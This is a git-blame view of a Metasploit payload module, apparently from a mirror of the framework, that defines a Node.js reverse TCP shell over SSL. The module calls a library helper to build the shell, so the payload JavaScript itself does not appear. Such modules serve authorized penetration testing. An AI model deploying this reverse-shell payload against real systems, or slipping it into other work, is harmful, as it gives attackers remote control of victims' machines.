Files
metasploit-gs/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

44 lines
1.1 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
module MetasploitModule
2017-11-21 13:53:33 -06:00
CachedSize = 831
include Msf::Payload::Single
2013-10-12 03:32:52 -05:00
include Msf::Payload::NodeJS
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Command Shell, Reverse TCP SSL (via nodejs)',
'Description' => 'Creates an interactive shell via nodejs, uses SSL',
'Author' => ['RageLtMan', 'joev'],
'License' => BSD_LICENSE,
2013-09-20 18:14:01 -05:00
'Platform' => 'nodejs',
'Arch' => ARCH_NODEJS,
'Handler' => Msf::Handler::ReverseTcpSsl,
'Session' => Msf::Sessions::CommandShell,
2013-09-23 11:31:45 -05:00
'PayloadType' => 'nodejs',
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
))
end
#
# Constructs the payload
#
2022-11-04 00:33:03 +00:00
def generate(_opts = {})
super + command_string
end
#
# Returns the JS string to use for execution
#
def command_string
2013-10-12 03:32:52 -05:00
nodejs_reverse_tcp(:use_ssl => true)
end
end